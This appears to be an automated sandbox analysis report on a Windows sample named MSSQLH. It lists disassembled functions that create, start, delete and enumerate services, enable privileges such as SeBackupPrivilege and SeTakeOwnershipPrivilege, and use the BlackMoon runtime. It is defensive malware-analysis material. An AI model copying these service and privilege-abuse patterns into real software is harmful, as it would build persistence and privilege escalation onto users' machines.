Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: AccountDescriptorInitializeLookupNameOpenProcessSecurityToken
String ID: SeBackupPrivilege$SeRestorePrivilege$SeSecurityPrivilege$SeTakeOwnershipPrivilege
API String ID: 3335692634-2346586879
Opcode ID: d787f515e0c8f19ccab4e40e763a6a2da40f1e12776e9049df1d53d3bce4c9e7
Instruction ID: 3d22b091cd677e036b74f6cc072a22075024b0b1bd9d4b106970df8113232e1b
Opcode Fuzzy Hash: d787f515e0c8f19ccab4e40e763a6a2da40f1e12776e9049df1d53d3bce4c9e7
Instruction Fuzzy Hash: CF5274B1A402469BEB00DFA9DCC1B9AB7B4FF19324F291076E546AB341D378B461CB25

Function 0040E33F Relevance: 9.1, APIs: 6, Instructions: 127servicememoryCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000), ref: 0040E3AA
EnumServicesStatusA.ADVAPI32(00000000,00000030,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040E400
GlobalAlloc.KERNEL32(00000040,00000000), ref: 0040E431
EnumServicesStatusA.ADVAPI32(00000000,00000030,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040E479
GlobalFree.KERNEL32(00000000), ref: 0040E4A8
CloseServiceHandle.ADVAPI32(00000000), ref: 0040E4D4

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: EnumGlobalServicesStatus$AllocCloseFreeHandleManagerOpenService
String ID:
API String ID: 2081471158-0
Opcode ID: f3b43632895c196e33d062f4822f7ca11273e396ea80c19e775bd6d96ad52384
Instruction ID: 4ce085e866bce2fb4a79029596d7e4899b362689e481fb4b08fc0b2f5dbea7a7
Opcode Fuzzy Hash: f3b43632895c196e33d062f4822f7ca11273e396ea80c19e775bd6d96ad52384
Instruction Fuzzy Hash: BB413D70E40209BBEB119F91CC0ABAFBB74EB05701F004466F6247A2D0E7796660DF99

Function 0040B748 Relevance: 7.6, APIs: 5, Instructions: 102serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 0040B77A
OpenServiceA.ADVAPI32(00000000,00000000,?), ref: 0040B7F4
DeleteService.ADVAPI32(00000000), ref: 0040B82D
CloseServiceHandle.ADVAPI32(00000000), ref: 0040B85C
CloseServiceHandle.ADVAPI32(00000000), ref: 0040B888

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$DeleteManager
String ID:
API String ID: 204194956-0
Opcode ID: 3399bbde79af5a5f88096ceb0b942f2093ba969f4d17228b3607aa46959405f4
Instruction ID: 49423b35f6817b592c6f67c83c15586194515f7d9f6ac662133e603ca3faad01
Opcode Fuzzy Hash: 3399bbde79af5a5f88096ceb0b942f2093ba969f4d17228b3607aa46959405f4
Instruction Fuzzy Hash: E9313A70E40308BBEB11AFA0DC4BBAEBA74EB09701F004465F6147A2D1D7BA5654DBD9

Function 0040B8BA Relevance: 7.6, APIs: 5, Instructions: 90serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 0040B8EC
OpenServiceA.ADVAPI32(00000000,00000000,00000010), ref: 0040B92F
StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 0040B972
CloseServiceHandle.ADVAPI32(00000000), ref: 0040B9A1
CloseServiceHandle.ADVAPI32(00000000), ref: 0040B9CD

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$ManagerStart
String ID:
API String ID: 1485051382-0
Opcode ID: d11b9169b5783f5dd7bcfdf43d1ddcf5255a89257814e9238bd5cc49d530b2e7
Instruction ID: 5325504d5d87f41473832a15929e8c74027773e21952ba39a0ffc9cced989c46
Opcode Fuzzy Hash: d11b9169b5783f5dd7bcfdf43d1ddcf5255a89257814e9238bd5cc49d530b2e7
Instruction Fuzzy Hash: D0314B70E40309FBDB10AFA1DC4BBAEBA70FB15715F004466F2247A2D0D3BA5650EB99

Function 0040B547 Relevance: 6.1, APIs: 4, Instructions: 144serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 0040B5BA
CreateServiceA.ADVAPI32(00000000,?,?,000F01FF,?,?,00000001,?,?,00000000,?,?,?), ref: 0040B67F
CloseServiceHandle.ADVAPI32(00000000), ref: 0040B6E1
CloseServiceHandle.ADVAPI32(00000000), ref: 0040B70D

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$CreateManagerOpen
String ID:
API String ID: 2424488607-0
Opcode ID: 9d36a575007a129519a565f9b8f672149d75a965c2b58d636b71255b16a765d1
Instruction ID: df3ceea374593c6207fb85e5de3d7c6cdefb117155f7521ea5d9fc974eefe910
Opcode Fuzzy Hash: 9d36a575007a129519a565f9b8f672149d75a965c2b58d636b71255b16a765d1
Instruction Fuzzy Hash: 5A512A34A40308FBEF119F94CC86B9D7BB1EB08705F044065FA147A2E1D3BA9690DF9A

Function 0042251D Relevance: 6.0, APIs: 4, Instructions: 38keyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00420500: GetWindowLongA.USER32(?,000000F0), ref: 0042050C

GetKeyState.USER32(00000010), ref: 00422541
GetKeyState.USER32(00000011), ref: 0042254A
GetKeyState.USER32(00000012), ref: 00422553
SendMessageA.USER32(?,00000111,0000E146,00000000), ref: 00422569

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: State$LongMessageSendWindow
String ID:
API String ID: 1063413437-0
Opcode ID: c0df3833752ec79270bf6cedf2e43718e599404a5d555cbcf94fe941cc01d629
Instruction ID: d31f74351f8635b3e63a5433501fb700ffa01124955e090ab5caaac8582b8f95
Opcode Fuzzy Hash: c0df3833752ec79270bf6cedf2e43718e599404a5d555cbcf94fe941cc01d629
Instruction Fuzzy Hash: 3EF02736F803A636E92436613D52FD991340F40BD8F81427BFB01AA1D2CAD8C982463C

Function 00406B1E Relevance: 4.9, APIs: 3, Instructions: 355COMMON

Download Yara Rule

APIs

OpenProcessToken.ADVAPI32(?,00000020,00000000,?,?,?,?,?,?,00406B13), ref: 00406C24
LookupPrivilegeValueA.ADVAPI32(00000000,00000000,00406B13), ref: 00406C71
AdjustTokenPrivileges.ADVAPI32(00000000,00000000,00000000,00000000,?,?,?,00000000), ref: 00406DF7

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Token$AdjustLookupOpenPrivilegePrivilegesProcessValue
String ID:
API String ID: 658607936-0
Opcode ID: ea5481ec33a0de6434f27b93a39358054b7ed078f1773c1ddf1412170aa9a8f1
Instruction ID: 3badd798140d6fcf0aaa4853405cbeebe059f42fe8aa783d5961611f3e7d1001
Opcode Fuzzy Hash: ea5481ec33a0de6434f27b93a39358054b7ed078f1773c1ddf1412170aa9a8f1
Instruction Fuzzy Hash: 3CB132B1A403059BFB00DF98DCC2B9AB7A4EF19314F150076E619FF381E679A950CB66

Function 00413A10 Relevance: 31.9, APIs: 15, Strings: 3, Instructions: 426windowCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,0046C4A8,00000104), ref: 00413A8E
__ftol.LIBCMT ref: 00413BDE
GetCommandLineA.KERNEL32 ref: 00413C04
PeekMessageA.USER32(00000000,00000000,00000000,00000000,00000000), ref: 00413C71
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00413CA3
TranslateMessage.USER32(?), ref: 00413CAA
DispatchMessageA.USER32(?), ref: 00413CB1
PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 00413CC0
wsprintfA.USER32 ref: 00413F03
MessageBoxA.USER32(00000000,?,blackmoon,00000010), ref: 00413F1A

Strings

BlackMoon RunTime Error:%s, xrefs: 00413E88
blackmoon, xrefs: 00413F12
ERROR, xrefs: 00413EA0

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Message$Peek$CommandDispatchFileLineModuleNameTranslate__ftolwsprintf
String ID: BlackMoon RunTime Error:%s$ERROR$blackmoon
API String ID: 2186951270-532175377
Opcode ID: 55502bdd4a0e5798c680099e9178a4ad5cfab6daeda4f55a33842186454c98c2
Instruction ID: dce40d3b978c86481a2dc6e425d3795831604a37b015fc3ddeff68bdf96a7ee4
Opcode Fuzzy Hash: 55502bdd4a0e5798c680099e9178a4ad5cfab6daeda4f55a33842186454c98c2
Instruction Fuzzy Hash: C9C118377846044AD334DA68BC45BFBB740DBD0333F54013BEA05C62D1E96F96998AAB

Function 00420DD8 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 170stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004246BF: TlsGetValue.KERNEL32(?,?,00000000,00424B02,004240C0,00424B1E,0041F628,00423142,?,00000000,?,0041F01D,00000000,00000000,00000000,00000000), ref: 004246FE

CallNextHookEx.USER32(?,00000003,?,?), ref: 00420E02
GetClassLongA.USER32(?,000000E6), ref: 00420E49
GlobalGetAtomNameA.KERNEL32(?,?,00000005), ref: 00420E75
lstrcmpiA.KERNEL32(?,ime), ref: 00420E84
GetWindowLongA.USER32(?,000000FC), ref: 00420EF7
SetWindowLongA.USER32(?,000000FC,00000000), ref: 00420F18

Strings

AfxOldWndProc423, xrefs: 00420F59, 00420F5E, 00420F69, 00420F71, 00420F7A
ime, xrefs: 00420E7E

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Long$Window$AtomCallClassGlobalHookNameNextValuelstrcmpi
String ID: AfxOldWndProc423$ime
API String ID: 3731301195-104836986
Opcode ID: 0cb50c98e9477ea0e4bcefdb689c059edc0cd415358c1c75950193a523a78cb1
Instruction ID: 841ac3dcffc034f65dce3ce61e8db5b0cca1fd6c5b0eab20494a3537dd8984f8
Opcode Fuzzy Hash: 0cb50c98e9477ea0e4bcefdb689c059edc0cd415358c1c75950193a523a78cb1
Instruction Fuzzy Hash: 6451A071700229AFCB209F64ED48B6F7BE8EF04754F92452AF805972A2D778D941CB9C

Function 004159F0 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(USER32,?,?,?,00415B29), ref: 00415A12
GetProcAddress.KERNEL32(00000000,GetSystemMetrics), ref: 00415A2A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 00415A3B
GetProcAddress.KERNEL32(00000000,MonitorFromRect), ref: 00415A4C
GetProcAddress.KERNEL32(00000000,MonitorFromPoint), ref: 00415A5D
GetProcAddress.KERNEL32(00000000,EnumDisplayMonitors), ref: 00415A6E
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 00415A7F

Strings

MonitorFromRect, xrefs: 00415A46
USER32, xrefs: 00415A0D
MonitorFromPoint, xrefs: 00415A57
MonitorFromWindow, xrefs: 00415A35
EnumDisplayMonitors, xrefs: 00415A68
GetMonitorInfoA, xrefs: 00415A79
GetSystemMetrics, xrefs: 00415A24

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: EnumDisplayMonitors$GetMonitorInfoA$GetSystemMetrics$MonitorFromPoint$MonitorFromRect$MonitorFromWindow$USER32
API String ID: 667068680-2376520503
Opcode ID: f6375ac1d67c07be0c49d36ee749583c7c1a16ec27494216e3632627c3549e19
Instruction ID: f15ca3e08ce1bbcdc6ed538e4e572d89b6be533fc414ffe3b3bca00077a38fe9
Opcode Fuzzy Hash: f6375ac1d67c07be0c49d36ee749583c7c1a16ec27494216e3632627c3549e19
Instruction Fuzzy Hash: A5115170A40721FAC7119F65BCD06AEBEE0B688B863654D3FD008D6650D77D4A818F6C

Function 0040CA5E Relevance: 21.4, APIs: 9, Strings: 3, Instructions: 396servicememoryCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000), ref: 0040CAC9
OpenServiceA.ADVAPI32(00000000,00000000,00000001), ref: 0040CB0C
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0040CB53
GlobalAlloc.KERNEL32(00000040,00000000), ref: 0040CB84
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0040CBBD
RtlMoveMemory.KERNEL32(?,00000000,00000024), ref: 0040CBFE
GlobalFree.KERNEL32(00000000), ref: 0040CEAD
CloseServiceHandle.ADVAPI32(00000000), ref: 0040CED9
CloseServiceHandle.ADVAPI32(00000000), ref: 0040CF05

Strings

localservice, xrefs: 0040CCA4
localsystem, xrefs: 0040CDF6
Networkservice, xrefs: 0040CD4D

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Service$CloseConfigGlobalHandleOpenQuery$AllocFreeManagerMemoryMove
String ID: Networkservice$localservice$localsystem
API String ID: 4257998133-3593476076
Opcode ID: 1236ca838bb04e706fdb54a1af0b566009d8f7385220cba01cc67d3859309552
Instruction ID: 460e1c0decf9ecc54da16fdcf560a8a43c77194026e5ee0e586ae328a43c881e
Opcode Fuzzy Hash: 1236ca838bb04e706fdb54a1af0b566009d8f7385220cba01cc67d3859309552
Instruction Fuzzy Hash: DAD176B0E40305EBEB109FA4DC86BEF76B4EB08714F14013AF714BA2D1E67A5954876D

Function 004226FB Relevance: 19.7, APIs: 13, Instructions: 174windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00420500: GetWindowLongA.USER32(?,000000F0), ref: 0042050C

GetParent.USER32(?), ref: 00422726
SendMessageA.USER32(00000000,0000036B,00000000,00000000), ref: 00422749
GetWindowRect.USER32(?,?), ref: 00422762
GetWindowLongA.USER32(00000000,000000F0), ref: 00422775
CopyRect.USER32(?,?), ref: 004227C2
CopyRect.USER32(?,?), ref: 004227CC
GetWindowRect.USER32(00000000,?), ref: 004227D5
CopyRect.USER32(?,?), ref: 004227F1

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Rect$Window$Copy$Long$MessageParentSend
String ID:
API String ID: 808654186-0
Opcode ID: 1103f2e9e8efb79e50d885288b2300768d946275513c9ddba84b49e2c2e178a5
Instruction ID: a9e75e3cfb35462ed6bd49d47d1b35d17be7c3370bd9ca0f3aa74f328668a08a
Opcode Fuzzy Hash: 1103f2e9e8efb79e50d885288b2300768d946275513c9ddba84b49e2c2e178a5
Instruction Fuzzy Hash: 97518671B04229AFCB10DBA8DD85EEEBBB9AF48314F550216F901F3281D774ED468B58

Function 0040ADA4 Relevance: 16.7, APIs: 11, Instructions: 249memoryserviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000), ref: 0040ADFC
OpenServiceA.ADVAPI32(00000000,00000000,00000001), ref: 0040AE3F
QueryServiceConfig2A.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 0040AE8B
GetProcessHeap.KERNEL32 ref: 0040AEB4
HeapAlloc.KERNEL32(?,00000008,00000000), ref: 0040AEEB
QueryServiceConfig2A.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 0040AF29
RtlMoveMemory.KERNEL32(?,00000000,00000004), ref: 0040AF65
CloseServiceHandle.ADVAPI32(00000000), ref: 0040AFCA
GetProcessHeap.KERNEL32 ref: 0040AFF3
HeapFree.KERNEL32(?,00000001,00000000), ref: 0040B02A
CloseServiceHandle.ADVAPI32(00000000), ref: 0040B056

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Service$Heap$CloseConfig2HandleOpenProcessQuery$AllocFreeManagerMemoryMove
String ID:
API String ID: 4186248289-0
Opcode ID: 738b3a3e0c1882d50fc33c267e74403ce3afa2e85a4abae4bfac6d285a52baa4
Instruction ID: 313c427a1876c9a6d72867f7b028eda8e77743ca42f538b07290d20cd22cb44d
Opcode Fuzzy Hash: 738b3a3e0c1882d50fc33c267e74403ce3afa2e85a4abae4bfac6d285a52baa4
Instruction Fuzzy Hash: 65818470E40305ABDB109FA1DC46BAFB7B4AF09705F040036F624BA2D1E77A5650DF9A

Function 004186B2 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,00415F78), ref: 004186CD
GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,00415F78), ref: 004186E1
GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,00415F78), ref: 0041870D
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,00415F78), ref: 00418745
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,00415F78), ref: 00418767
FreeEnvironmentStringsW.KERNEL32(00000000,?,00000000,?,?,?,?,00415F78), ref: 00418780
GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,00415F78), ref: 00418793
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 004187D1

Strings

x_A, xrefs: 0041877B, 0041876D

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide
String ID: x_A
API String ID: 1823725401-2572931175
Opcode ID: ebe890dd22a0f57b60fc69fc68f2d8ef5e0e6425bea1a5110940c98984f120fe
Instruction ID: 837227c7fd6eae2f8418240c2f5adfd848ae4644f988817820879dbc977635d8
Opcode Fuzzy Hash: ebe890dd22a0f57b60fc69fc68f2d8ef5e0e6425bea1a5110940c98984f120fe
Instruction Fuzzy Hash: C331C4B26082559FD7203FB45CC48BF769DEB453547260A7FF561C3280EE298CC186AD

Function 00420BFD Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00420C02
GetPropA.USER32(?,AfxOldWndProc423), ref: 00420C1A
CallWindowProcA.USER32(?,?,00000110,?,00000000), ref: 00420C78

Part of subcall function 004207E5: GetWindowRect.USER32(?,004209DD), ref: 0042080A
Part of subcall function 004207E5: GetWindow.USER32(?,00000004), ref: 00420827

SetWindowLongA.USER32(?,000000FC,?), ref: 00420CA8
RemovePropA.USER32(?,AfxOldWndProc423), ref: 00420CB0
GlobalFindAtomA.KERNEL32(AfxOldWndProc423), ref: 00420CB7
GlobalDeleteAtom.KERNEL32(00000000), ref: 00420CBE

Part of subcall function 004207C2: GetWindowRect.USER32(?,?), ref: 004207CE

CallWindowProcA.USER32(?,?,?,?,00000000), ref: 00420D12

Strings

AfxOldWndProc423, xrefs: 00420C10, 00420C18, 00420CAE, 00420CB6

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
